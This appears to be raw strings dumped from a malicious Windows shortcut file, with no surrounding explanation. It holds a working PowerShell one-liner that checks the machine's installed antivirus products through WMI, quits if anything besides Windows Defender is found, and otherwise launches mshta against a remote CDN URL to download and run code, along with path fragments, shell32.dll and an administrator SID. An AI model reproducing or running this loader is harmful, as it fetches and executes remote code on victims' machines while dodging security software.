Windows
System32
WindowsPowerShell
powershell.exe
Windows
System32
WindowsPowerShell
powershell.exe
powershell?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
$U = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($c in $U ){if ($c.displayName -replace 'Windows Defender', ''){Exit}}.'mshta'https://mato3f.b-cdn.net/town
shell32.dll
S-1-5-21-1058994278-4207698791-1477402829-500